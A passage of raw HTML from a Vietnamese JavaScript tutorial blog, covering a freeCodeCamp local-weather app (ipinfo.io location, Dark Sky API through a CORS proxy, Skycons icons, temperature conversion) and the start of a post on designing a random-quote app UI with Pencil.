3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Yêu cầu bài toán Show the Local Weather</h2> <p>Ứng dụng này sẽ bao gồm 3 yêu cầu chính:</p> <ul> <li>Hiển thị thông tin thời tiết ở vị trí hiện tại của người dùng</li> <li>Có những hình ảnh khác nhau biểu thị trạng thái thời tiết (mưa, nắng, tuyết,...).</li> <li>Có thể chuyển đổi đơn vị nhiệt độ giữa độ F và độ C.</li> </ul> <p>Về cách thiết kế UX/UI cho ứng dụng, bạn có thể xem tại <a href="/lap-trinh-javascript-voi-fcc-random-quote-machine/">đây</a>. Còn trong bài viết này, mình sẽ giới thiệu một số thủ thuật JavaScript cần thiết để giải quyết bài toán.</p> <h2 id="giải-quyết-bài-toán" style="position:relative;"><a href="#gi%E1%BA%A3i-quy%E1%BA%BFt-b%C3%A0i-to%C3%A1n" aria-label="giải quyết bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải quyết bài toán</h2> <h3 id="lấy-vị-trí-người-dùng" style="position:relative;"><a href="#l%E1%BA%A5y-v%E1%BB%8B-tr%C3%AD-ng%C6%B0%E1%BB%9Di-d%C3%B9ng" aria-label="lấy vị trí người dùng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy vị trí người dùng</h3> <p>Đúng vậy, để lấy được thông tin thời tiết ở vị trí hiện tại của người dùng, bạn phải lấy được tọa độ (kinh độ, vĩ độ) của họ. Trong bài viết <a href="/hai-cach-lay-vi-tri-nguoi-dung/">Hai cách lấy vị trí người dùng với JavaScript</a>, mình đã hướng dẫn các bạn rồi đó. Còn cụ thể trong project này, mình sử dụng phương pháp thứ hai, đó là dùng <strong>ipinfo.io API</strong>.</p> <h3 id="lấy-thông-tin-thời-tiết-tại-một-vị-trí-xác-định" style="position:relative;"><a href="#l%E1%BA%A5y-th%C3%B4ng-tin-th%E1%BB%9Di-ti%E1%BA%BFt-t%E1%BA%A1i-m%E1%BB%99t-v%E1%BB%8B-tr%C3%AD-x%C3%A1c-%C4%91%E1%BB%8Bnh" aria-label="lấy thông tin thời tiết tại một vị trí xác định permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy thông tin thời tiết tại một vị trí xác định</h3> <p>Sau khi đã có tọa độ của người dùng, mình sử dụng <a href="https://darksky.net/dev">Dark Sky API</a> để lấy thông tin thời tiết. Bạn chỉ cần vào trang chủ, đăng ký, đăng nhập rồi lấy ra <strong>DarkSky API Key</strong> và gửi request lên server để lấy thông tin thời tiết.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> secretKey <span class="token operator">=</span> <span class="token string">"yourDarkSkyAPIKey"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> requestURL <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.darksky.net/forecast/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>secretKey<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lat<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">,</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lon<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> $<span class="token punctuation">.</span><span class="token function">getJSON</span><span class="token punctuation">(</span>requestURL<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">info</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Cập nhật thông tin thời tiết dựa vào info</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả trả về sẽ là <a href="/object-la-gi-object-trong-javascript/">object</a> <strong>info</strong>, với đầy đủ những thông tin cần thiết như nhiệt độ, độ ẩm, tốc độ gió,... ứng với thời điểm hiện tại, 48 giờ tới và 7 ngày tới.</p> <p>Về lý thuyết thì đến đây là xong, vì bạn đã có được thông tin thời tiết rồi. Nhưng thực tế thì khi bạn chỉ làm như trên bạn sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://s.codepen.io' is therefore not allowed access.</code></pre></div> <p>Đó là vì domain thực hiện request và domain của server là khác nhau. Để khắc phục tình trạng này, mình sử dụng <a href="https://github.com/Rob--W/cors-anywhere">CORS Anywhere</a>, đóng vai trò như là một proxy cho phép thực hiện <strong>request cross-origin</strong>.</p> <p>Theo mình hiểu, <strong>cơ chế hoạt động</strong> sẽ là: thay vì bạn gửi <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">request</a> trực tiếp lên server Darksky từ ứng dụng web, bạn sẽ gửi request lên server CORS Anywhere. Server này sẽ thực hiện request giúp bạn. Sau khi có kết quả trả về từ Darksky thì CORS Anywhere sẽ trả lại cho bạn.</p> <p>Mình mới chỉ hiểu đơn giản vậy thôi. Còn sâu xa hơn thì nhờ bạn nào có kinh nghiệm giải thích hộ nhé. Còn cách code thì đơn giản là bạn sẽ ghép thêm vào đầu request trên địa chỉ server của CORS Anywhere như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://cors-anywhere.herokuapp.com/https://api.darksky.net/forecast/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>secretKey<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lat<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">,</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lon<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Đến đây, bạn đã có thể hiển thị được thông tin thời tiết ở vị trí hiện tại của người dùng rồi. Tiếp theo, bạn cần hiển thị hình ảnh tương ứng với thông tin thời tiết đó.</p> <h3 id="hiển-thị-icon-ứng-với-thông-tin-thời-tiết" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-icon-%E1%BB%A9ng-v%E1%BB%9Bi-th%C3%B4ng-tin-th%E1%BB%9Di-ti%E1%BA%BFt" aria-label="hiển thị icon ứng với thông tin thời tiết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị icon ứng với thông tin thời tiết</h3> <p>Có nhiều thư viện để bạn có thể thực hiện việc này như sau:</p> <p><strong>Animated Weather Icons</strong> by <a href="https://codepen.io/joshbader">Josh Bader</a> - cách này bạn chỉ cần dùng thuần CSS3.</p> <p><a href="https://codepen.io/joshbader/pen/EjXgqr"><div><iframe height='500' scrolling='no' src='//codepen.io/joshbader/embed/preview/EjXgqr/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Hoặc <strong><a href="/icon-mien-phi-dan-it/#b%E1%BB%99-icon-v%E1%BB%81-th%E1%BB%9Di-ti%E1%BA%BFt">weather-icon</a></strong> với cách này sử dụng gần giống với <strong>font-awesome</strong>.</p> <p>Còn với project này, mình sử dụng <a href="https://darkskyapp.github.io/skycons/">Skycons</a> - vẽ icon dựa trên canvas.</p> <h4 id="cách-sử-dụng-skycons" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-skycons" aria-label="cách sử dụng skycons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng Skycons</h4> <p><a href="https://codepen.io/completejavascript/pen/EEOJrZ"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/EEOJrZ/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Để sử dụng thư viện này, bạn cần khai báo script của Skycons vào file html:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://rawgit.com/darkskyapp/skycons/master/skycons.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Tiếp theo, bạn khai báo một thẻ canvas (với mỗi icon). Mỗi thẻ canvas này cần có id, chiều rộng (width) và chiều dài (height).</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>canvas</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>icon1<span class="token punctuation">"</span></span> <span class="token attr-name">width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>128<span class="token punctuation">"</span></span> <span class="token attr-name">height</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>128<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>canvas</span><span class="token punctuation">></span></span></code></pre></div> <p>Trong file script, bạn khai báo đối tượng Skycons, với thuộc tính color là màu sắc của icon.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> skycons <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Skycons</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token string">"#3da4ab"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Để add icon vào một canvas bạn có thể sử dụng một trong hai cách: id hoặc <a href="/co-ban-ve-dom-javascript/">DOM</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Thêm icon theo id</span> skycons<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"icon1"</span><span class="token punctuation">,</span> Skycons<span class="token punctuation">.</span><span class="token constant">PARTLY_CLOUDY_DAY</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Them icon theo DOM</span> skycons<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"icon2"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> Skycons<span class="token punctuation">.</span><span class="token constant">RAIN</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với thông tin thứ 2, chính là kiểu icon - ứng với thời tiết và có các loại như sau:</p> <ul> <li>Skycons.CLEAR_DAY</li> <li>Skycons.CLEAR_NIGHT</li> <li>Skycons.RAIN</li> <li>Skycons.SNOW</li> <li>Skycons.WIND</li> <li>Skycons.SLEET</li> <li>Skycons.FOG</li> <li>Skycons.CLOUDY</li> <li>Skycons.PARTLY_CLOUDY_DAY</li> <li>Skycons.PARTLY_CLOUDY_NIGHT</li> </ul> <p>Đến đây là bạn đã có được icon rồi, tiếp theo là thêm hiệu ứng animation cho nó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// start animation!</span> skycons<span class="token punctuation">.</span><span class="token function">play</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, còn một số API khác như:</p> <ul> <li>skycons.pause() : dừng hiệu ứng animation</li> <li>skycons.remove("icon2"): bỏ đi icon2</li> <li>skycons.set("icon", Skycons.SNOW): thay đổi kiểu icon cho một canvas hiện tại.</li> </ul> <h3 id="chuyển-đổi-đơn-vị-giữa-độ-f-và-độ-c" style="position:relative;"><a href="#chuy%E1%BB%83n-%C4%91%E1%BB%95i-%C4%91%C6%A1n-v%E1%BB%8B-gi%E1%BB%AFa-%C4%91%E1%BB%99-f-v%C3%A0-%C4%91%E1%BB%99-c" aria-label="chuyển đổi đơn vị giữa độ f và độ c permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển đổi đơn vị giữa độ F và độ C</h3> <p>Đơn giản lắm, chỉ có 2 công thức như này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Hàm convert từ độ F sang độ C</span> <span class="token keyword">let</span> <span class="token function-variable function">F2C</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token constant">F</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token constant">F</span> <span class="token operator">-</span> <span class="token number">32</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hàm convert từ độ C sang độ F</span> <span class="token keyword">let</span> <span class="token function-variable function">C2F</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token constant">C</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token constant">C</span> <span class="token operator">*</span> <span class="token number">9</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">5</span> <span class="token operator">+</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách giải quyết bài toán Show the Local Weather. Nếu có phần nào mình giải thích chưa rõ, thì bạn có thể đặt câu hỏi ở phần bình luận.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/lap-trinh-javascript-voi-fcc-wikipedia-viewer/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC - Random Quote Machine]]><![CDATA[Tiếp tục series lập trình JavaScript với FCC, hôm nay mình sẽ giới thiệu một project thuộc chuyên mục Intermediate Front-End là Random Quote Machine. Nhưng khác các bài viết trước…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-random-quote-machine/https://completejavascript.com/lap-trinh-javascript-voi-fcc-random-quote-machine/<![CDATA[AJAX]]><![CDATA[API]]><![CDATA[CSS]]><![CDATA[jQuery]]><![CDATA[FCC]]>Sat, 10 Mar 2018 00:00:56 GMT<p>Tiếp tục series lập trình JavaScript với FCC, hôm nay mình sẽ giới thiệu một project thuộc chuyên mục Intermediate Front-End là <strong>Random Quote Machine</strong>. Nhưng khác các bài viết trước, lần này mình muốn chia sẻ quy trình từng bước thực hiện, bắt đầu từ phân tích yêu cầu bài toán, thiết kế UX/UI và xử lý logic trong JavaScript.</p> <p>Dưới đây là demo trên Codepen. Ngoài ra, bạn cũng có thể xem bản demo đầy đủ hơn tại <a href="http://about.phamvanlam.com/fcc-random-quote-machine">đây</a>.</p> <p><a href="https://codepen.io/completejavascript/pen/xWZyRy"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/xWZyRy/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="phân-tích-yêu-cầu-bài-toán-random-quote-machine" style="position:relative;"><a href="#ph%C3%A2n-t%C3%ADch-y%C3%AAu-c%E1%BA%A7u-b%C3%A0i-to%C3%A1n-random-quote-machine" aria-label="phân tích yêu cầu bài toán random quote machine permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phân tích yêu cầu bài toán Random Quote Machine</h2> <p>Mình tóm tắt lại yêu cầu bài toán như sau:</p> <ul> <li>Có một button cho phép nhấn vào thì hiển thị một random quote mới.</li> <li>Có các button để chia sẻ quote lên mạng xã hội Twitter.</li> </ul> <p>Ngoài ra, mình xác định sẽ đưa thêm một số tính năng khác như:</p> <ul> <li>Chia sẻ lên các mạng xã hội khác: Facebook, Google Plus, Linkedin,...</li> <li>Tích hợp phần bình luận Facebook.</li> </ul> <p>Dựa vào yêu cầu như trên thì những phần tử cần phải có trên ứng dụng là:</p> <ul> <li>1 vùng hiển thị quote + tên tác giả.</li> <li>1 button để tải quote mới.</li> <li>4 button để chia sẻ quote lên Twitter, Facebook, Google Plus, Linkedin.</li> <li>1 vùng để hiển thị bình luận Facebook.</li> </ul> <p><strong>Vấn đề tiếp theo là lấy quote ở đâu?</strong></p> <p>Theo mình sẽ có 3 cách để bạn thực hiện:</p> <ul> <li>Sưu tầm quote trên internet, sau đó lưu lại dạng dữ liệu tĩnh trong code.</li> <li>Lưu quote trong database như (firebase, mongodb,...)</li> <li>Sử dụng REST API cung cấp bởi bên thứ 3.</li> </ul> <p>Vậy là tạm thời phân tích xong các yêu cầu của bài toán Random Quote Machine. Tiếp theo đến phần thiết kế UX/UI.</p> <h2 id="thiết-kế-uxui-cho-random-quote-machine" style="position:relative;"><a href="#thi%E1%BA%BFt-k%E1%BA%BF-uxui-cho-random-quote-machine" aria-label="thiết kế uxui cho random quote machine permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thiết kế UX/UI cho Random Quote Machine</h2> <p>Vì không phải dân chuyên thiết kế UX/UI, nên chẳng may có bạn nào là chuyên gia trong mảng này mà đọc được thì xin chém nhẹ tay thôi nhé, tội nghiệp mình! ...</p> <p>Trước tiên, bàn về công cụ thiết kế. Trong đầu mình hiện ra 3 công cụ: PowerPoint, <a href="https://phamvanlam.com/category/gimp-28-tutorial">GIMP</a>, Giấy và bút. Mình loại bỏ GIMP vì thấy nó hơi phức tạp. Sau đó, mình có thiết kế thử sử dụng PowerPoint (mình khá là rành về mảng này, và có một channel nho nhỏ là <a href="https://www.youtube.com/channel/UCGLAVGAzZlYAKYsxg9N0Zcw">đây</a>) và vẽ tay.</p> <p>Kết quả cũng được, tuy nhiên, mình muốn sử dụng một công cụ chuyên biệt hơn. Sau một hồi tìm kiếm thì mình phát hiện ra một phần mềm của Việt Nam luôn là <a href="http://pencil.evolus.vn/">Pencil</a>.</p> <h3 id="thiết-kế-uxui-sử-dụng-pencil" style="position:relative;"><a href="#thi%E1%BA%BFt-k%E1%BA%BF-uxui-s%E1%BB%AD-d%E1%BB%A5ng-pencil" aria-label="thiết kế uxui sử dụng pencil permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thiết kế UX/UI sử dụng Pencil</h3> <p>Hướng dẫn sử dụng bạn có thể xem trên mạng, rất nhiều. Mình sẽ chỉ chia sẻ lại kết quả sau khi sử dụng phần mềm này.</p> <p>Giao diện Random Quote Machine trên Mobile:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 349px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 173.93939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAACxElEQVRIx+2VXW+jOhCG+///TNX7qlLbi6hqozZJgwgxxNhghi8DxpiQFHzUmCXtdrXqrs7Nkc5zYY1sXhnPvGNf2LbNGKOUBn9CGIavr68XcRxrrYdh0N/GfEwIuYiiSGvd9/2fijHGo7jrusvLy7u7u/l8fnt7+/j46Pv+/f398/PzbDa7ubm5urpaLBbX19ez2cx13VEMAH3fN01j2/bT0xNCaLlcbrdbQsjDw4PjOJZlYYzn8/lms3EcZ7VaUUpHcRzHdV0HQVBVFee8KIosy4QQaZqamTzPhRBlWXLOq6pKkqSqKq217/vjb/9Fwt7FADAMQ1EU4gdVVX2NqxNTPIqTJOGcAwD/QJ7nWZbleV4UBf9MURSMMXPS9zOXZamU8n0fACilrutSShljQRCYGYRQGIYA4DiOyU5VVWexlJIxliQJYyzLMkopxtjMhGGYJAkhhDHmOE5d11LKsizP4qZpPM9DCHknwjCklFqWFQSB7/u2be92u67rjsej1rqu6087t23bdd1+vz8cDvv9/ng8Hg4HpdThhFKq67op25/EnHOl1HeKNJ1OCPEunqIkSaIoAoCfxgk4EUURIaRtW0rpaE/OOcYYIbRYLDzPW61Wruuu12uM8dvbm9l2s9lYloUQWq/XY6kAQGvdtq1Jted5AIAxjqLI9/04jqeGI4TsdjtCCEKoaZr3nc1yURR1XZdlKYTI89w42Thk8okJ8hOjw9I05Zx7nkcpNUWSUppiTuOElFIpBQBjnbMTjuNEUWTul+S3ZFm22+0452EYXpjWM14fTvS/RWt9tmeapkKIuq6/35JnkxixEOJ/8X9JPHwDrbW5QP8Nk5RlyRiTUooPmDYwfJyXUgLA+Rrq+95c0R8x7c0YA4CfljjnwzCML8YvnxulFOf8lyc6PzfL5RIh5Hxhu92iH3xdRQi9vLz8A+4/ta3znMBSAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="random quote machine trên mobile" title="random quote machine trên mobile" src="/static/569e12a406b3ae0751abb1f130921480/c5d44/pencil-mobile-random-quote-machine.png" srcset="/static/569e12a406b3ae0751abb1f130921480/103f2/pencil-mobile-random-quote-machine.png 165w, /static/569e12a406b3ae0751abb1f130921480/748ba/pencil-mobile-random-quote-machine.png 330w, /static/569e12a406b3ae0751abb1f130921480/c5d44/pencil-mobile-random-quote-machine.png 349w" sizes="(max-width: 349px) 100vw, 349px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Giao diện trên Tablet:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 414px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 131.51515151515153%; position: relative; bottom: 0; left: 0; background-image: 